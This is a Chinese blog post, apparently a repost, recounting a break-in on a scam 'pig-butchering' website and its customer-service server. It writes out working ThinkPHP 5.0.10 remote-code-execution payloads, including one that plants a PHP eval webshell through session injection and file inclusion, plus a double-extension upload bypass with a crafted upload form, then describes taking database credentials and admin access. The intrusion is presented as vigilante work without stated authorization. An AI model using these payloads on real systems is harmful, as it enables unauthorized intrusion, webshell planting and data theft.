深入诈骗团队

我会带着你远行 2024-04-07 10:43 44阅读 0赞

最近接到任务，调查一个诈骗团伙

[![2210d9adb2afca9fdbb0de4bc28cf2ef.png][]][2210d9adb2afca9fdbb0de4bc28cf2ef.png 1]

上面有一个注册接口，直接先注册一个用户看看他们怎么诈骗的 [![0a0cc34321bb5826db77c357792fe35c.png][]][0a0cc34321bb5826db77c357792fe35c.png 1] [![d5458186b6cec83c6100dbc8c018d1e9.png][]][d5458186b6cec83c6100dbc8c018d1e9.png 1]  
好家伙，用户赚了8个亿，充值过的用户直呼内行。  
这种站点一看就是那种诈骗团伙的杀猪盘，使用的那种tp5的框架一键搭建，方便又省事。后来根据报错信息的确是tp5.0.10的框架还开了debug模式，老杀猪盘了。 [![1221d4ae9c598edb185805e836184065.png][]][1221d4ae9c598edb185805e836184065.png 1]  
直接先用tp5rce打出phpinfo看

s=captcha
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

[![c8b06a922498a2ec96d668271277fdc6.png][]][c8b06a922498a2ec96d668271277fdc6.png 1]

看来禁的函数比较多，这个时候用tp5的rce和写shell就比较困难，使用tp5日志包含和session包含来getshell就十分的方便。  
日志包含还需要去找文件，我这里就直接是session包含来getshell  
先通过设置session会话并传入一句话木马

?s=captcha
    _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

[![9944fd0a50bdcc31afac7cb23a8b14c5.png][]][9944fd0a50bdcc31afac7cb23a8b14c5.png 1]

然后直接利用文件包含去包含session文件，tp5的session文件一般都是在/tmp下面，文件名为sess\_sessionid

?s=captcha
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();

[![d389da7cc938998765631bca451583d6.png][]][d389da7cc938998765631bca451583d6.png 1]

这个时候我们就可以通过蚁剑连上shell了  
需要把post传入的参数加在蚁剑连接的http body里面 [![d1b1465fa84135cfebfc016dc3c7fc45.png][]][d1b1465fa84135cfebfc016dc3c7fc45.png 1]  
连上后通过找到config下的database.php找到数据库密码账号 [![7da9cd098a1e7f909d7ae4a9ce339a98.png][]][7da9cd098a1e7f909d7ae4a9ce339a98.png 1]  
里面还有财务和技术的联系方式 [![f7a67a5d16bdae18de56a7f62d0bf81e.png][]][f7a67a5d16bdae18de56a7f62d0bf81e.png 1]  
直接登陆后台 [![65a0be8536adfce8de2077d91c6a49e4.png][]][65a0be8536adfce8de2077d91c6a49e4.png 1]  
好家伙，会员数30人，还有400多个机器人，金额在后台可以随便修改，太欺负人了。 [![d5ed76c949bfdf85af40c5591933dd92.png][]][d5ed76c949bfdf85af40c5591933dd92.png 1]  
打到这里总感觉信息还有点少啊，只有几个手机号，还有诈骗团伙的用来收款的银行卡，于是我又在运营站上面收集信息，原来客服的站点是其他服务器上面 [![2ba874bdf9a2f724fe53e4bb5162079b.png][]][2ba874bdf9a2f724fe53e4bb5162079b.png 1]  
通过目录扫描找到客服后台 [![38ec46013288d952957d12511ff0d407.png][]][38ec46013288d952957d12511ff0d407.png 1]  
试了一下弱口令，居然连admin这个用户都没有，这管理员意识还挺好的。  
拿出我珍藏的字典爆破了一下，也没有发现存在的用户，我猜测他的用户名要么是电话号码，要么就是很长的用户名。  
看来进后台是不行的了  
然后通过ip反查发现也没有旁站，这个站点只有这个客服系统 [![996ea0b8e7346f82e8f703f88ed0cc9b.png][]][996ea0b8e7346f82e8f703f88ed0cc9b.png 1]  
扫了一下子域名也没有任何的发现  
但是页面下面有一个Powered by 爱客服PHP在线客服系统，我觉得网上应该是有源码的，就去百度了一下，还真有源码。 [![dde2c718f83e4a64b002605650d6d549.png][]][dde2c718f83e4a64b002605650d6d549.png 1]  
网站是基于tp二次开发的，但是tp的rce已经没有了。  
只有一步步的审计了  
翻了很久在application/admin/controller/Event.php文件中找到了一处基于黑名单的上传函数uploadimg [![1c7772656d75fb584ce8733524193455.png][]][1c7772656d75fb584ce8733524193455.png 1]  
定义一个上传函数uploadimg，然后定义一个变量name来获取到文件名，并用一个点以数组的方式隔开，而通过变量ext来获取到数组的第二个作为检测，当文件传入index.html，$ext=html,html在黑名单内所以就上传不成功，如果是文件传入index.jpg.php，$ext=jpg，jpg没有在黑名单，所以就可以上传成功。  
根据tp的路由规则这个上传点应该在/admin/event/uploadimg这个位置 [![d790fca909ed7ecc8c70ee16d6c6a0b3.png][]][d790fca909ed7ecc8c70ee16d6c6a0b3.png 1]  
它这个页面没有上传点，只有自己构造一个上传页面了

<form action="http://ip/admin/event/uploadimg" method="post" enctype="multipart/form-data">
    <label for="file">晨光客服上传</label>
    <input type="file" name="editormd-image-file" id="editormd-image-file">
    <input type="submit" name="submit" value="submit">
    </form>

如果是上传index.php的话

[![2efd92303b16e7ce2d649350d48c15c7.png][]][2efd92303b16e7ce2d649350d48c15c7.png 1]

的确是上传不成功的  
如果是上传index.jpg.php [![70130bee67b9960d557db71ae36f0ac6.png][]][70130bee67b9960d557db71ae36f0ac6.png 1]  
是可以上传成功的  
拿下该客服站点 [![dd9959dbde67358d7b8064847e93f989.png][]][dd9959dbde67358d7b8064847e93f989.png 1]  
打包后台数据交给jc  
在这里呼吁大家千万别相信什么刷单的，叫你充值就可以领钱的，都是假的，千万别想一夜暴富，占什么小便宜，天下没有免费的午餐。这里放几张图给大家看一下 [![daa97bfce673e9326463053b1f174607.png][]][daa97bfce673e9326463053b1f174607.png 1] [![e73519720d3be6c545c03f9f29184bb4.png][]][e73519720d3be6c545c03f9f29184bb4.png 1] [![3e05c4b57f316f8a91819cfef29a16fa.png][]][3e05c4b57f316f8a91819cfef29a16fa.png 1]  
这些诈骗团伙还理直气壮，有理有据，只会叫你越充越多，典型的杀猪盘

渗透总结：

1.注册一个测试账号

2通过报错，发现是tp5.0..10

3.使用TP5RCE查看phpinfo

s=captcha

post:

\_method=\_\_construct&method=get&filter\[\]=call\_user\_func&get\[\]=phpinfo

发现危险函数被禁用了

4.使用tp5日志包含和session包含来getshell

5.通过设置session会话并传入一句话木马

?s=captcha

post：

\_method=\_\_construct&filter\[\]=think\\Session::set&method=get&get\[\]=<?php eval($\_POST\['x'\])?>&server\[\]=1

6.利用文件包含去包含session文件，tp5的session文件一般都是在/tmp下面，文件名为sess\_sessionid

?s=captcha

post：

\_method=\_\_construct&method=get&filter\[\]=think\\\_\_include\_file&server\[\]=phpinfo&get\[\]=/tmp/sess\_0mg7tlcvtmpv06cb732j47chb3&x=phpinfo();

7.通过蚁剑连上shell，需要把post传入的参数加在蚁剑连接的http body里面

8.通过后台源码查看发现客户服务后台。

9.发现服务后台为爱客服PHP在线客服系统，该系统存在文件上传漏洞

/admin/event/uploadimg

<label for="file">晨光客服上传</label>

</form>

原文链接： [https://xz.aliyun.com/t/9286][https_xz.aliyun.com_t_9286]

[2210d9adb2afca9fdbb0de4bc28cf2ef.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/ecad1dcf5f964c0094149f357b70ba94.png
[2210d9adb2afca9fdbb0de4bc28cf2ef.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309114609-fc70fce4-8089-1.jpg
[0a0cc34321bb5826db77c357792fe35c.png]: https://img-blog.csdnimg.cn/img_convert/0a0cc34321bb5826db77c357792fe35c.png
[0a0cc34321bb5826db77c357792fe35c.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309114754-3acf4ebe-808a-1.jpg
[d5458186b6cec83c6100dbc8c018d1e9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3a4fbb6ecd92446cae4f61fbead38cf2.png
[d5458186b6cec83c6100dbc8c018d1e9.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309114837-549cb480-808a-1.jpg
[1221d4ae9c598edb185805e836184065.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d0325454e2844977bdbd3b8fbdacabaf.png
[1221d4ae9c598edb185805e836184065.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309115505-3bb3a87e-808b-1.jpg
[c8b06a922498a2ec96d668271277fdc6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/8bdd96359cc2423e8d262da0cc355124.png
[c8b06a922498a2ec96d668271277fdc6.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309124011-88ad172c-8091-1.png
[9944fd0a50bdcc31afac7cb23a8b14c5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b3ad433de106453db9273798db6642e1.png
[9944fd0a50bdcc31afac7cb23a8b14c5.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309124418-1be33c24-8092-1.jpg
[d389da7cc938998765631bca451583d6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/b12692bc7e244937bd82da3ecd17934d.png
[d389da7cc938998765631bca451583d6.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309124909-c943df5e-8092-1.jpg
[d1b1465fa84135cfebfc016dc3c7fc45.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d6cff7eee53345b8a20f81db0fa3a96f.png
[d1b1465fa84135cfebfc016dc3c7fc45.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309125109-10af8c4e-8093-1.jpg
[7da9cd098a1e7f909d7ae4a9ce339a98.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a3186e1aa447442d826a80f0b578e634.png
[7da9cd098a1e7f909d7ae4a9ce339a98.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309130142-8a1e0672-8094-1.jpg
[f7a67a5d16bdae18de56a7f62d0bf81e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5a4f8c6c85684e47aec748e7f1eaa747.png
[f7a67a5d16bdae18de56a7f62d0bf81e.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309130929-a0a48cb2-8095-1.jpg
[65a0be8536adfce8de2077d91c6a49e4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/beb93cc619af42209b6076d5a2048beb.png
[65a0be8536adfce8de2077d91c6a49e4.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309130354-d8da6ab2-8094-1.jpg
[d5ed76c949bfdf85af40c5591933dd92.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5d241689836641af90c3fd6e80725ac1.png
[d5ed76c949bfdf85af40c5591933dd92.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309130514-0894699c-8095-1.jpg
[2ba874bdf9a2f724fe53e4bb5162079b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d31ffcc68efe4953be0e2e9d48875472.png
[2ba874bdf9a2f724fe53e4bb5162079b.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309135024-57f31d02-809b-1.jpg
[38ec46013288d952957d12511ff0d407.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f1088cdc83564685bab5f8f6b8fff6fa.png
[38ec46013288d952957d12511ff0d407.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309135616-2973f040-809c-1.jpg
[996ea0b8e7346f82e8f703f88ed0cc9b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/79c9b27323a444bd8eb087bb6f57e611.png
[996ea0b8e7346f82e8f703f88ed0cc9b.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309145736-bb3bf88a-80a4-1.jpg
[dde2c718f83e4a64b002605650d6d549.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/395957169e324b38bd1a64cf56dffc3e.png
[dde2c718f83e4a64b002605650d6d549.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309140228-07668296-809d-1.jpg
[1c7772656d75fb584ce8733524193455.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3555abb7419c4009816a603b51777f93.png
[1c7772656d75fb584ce8733524193455.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309140934-05722b60-809e-1.jpg
[d790fca909ed7ecc8c70ee16d6c6a0b3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/dd45914a2a8444538eb9bb549d941c88.png
[d790fca909ed7ecc8c70ee16d6c6a0b3.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309141854-53354534-809f-1.jpg
[2efd92303b16e7ce2d649350d48c15c7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/899e43fc705a4ce3baf3fb170be08d4a.png
[2efd92303b16e7ce2d649350d48c15c7.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309142204-c44f91e8-809f-1.jpg
[70130bee67b9960d557db71ae36f0ac6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9706e897ba254e1aad24d23032c3a317.png
[70130bee67b9960d557db71ae36f0ac6.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309142326-f4fd29f4-809f-1.jpg
[dd9959dbde67358d7b8064847e93f989.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/db09ca5249ea472ab1f97a1017d7c941.png
[dd9959dbde67358d7b8064847e93f989.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309142510-32f5868e-80a0-1.jpg
[daa97bfce673e9326463053b1f174607.png]: https://img-blog.csdnimg.cn/img_convert/daa97bfce673e9326463053b1f174607.png
[daa97bfce673e9326463053b1f174607.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309143058-025dfb36-80a1-1.jpg
[e73519720d3be6c545c03f9f29184bb4.png]: https://img-blog.csdnimg.cn/img_convert/e73519720d3be6c545c03f9f29184bb4.png
[e73519720d3be6c545c03f9f29184bb4.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309143134-1837757c-80a1-1.jpg
[3e05c4b57f316f8a91819cfef29a16fa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5a9881df83be40a4aa6fd93a2d51a47a.png
[3e05c4b57f316f8a91819cfef29a16fa.png 1]: https://xzfile.aliyuncs.com/media/upload/picture/20210309143212-2eb74980-80a1-1.jpg
[https_xz.aliyun.com_t_9286]: https://xz.aliyun.com/t/9286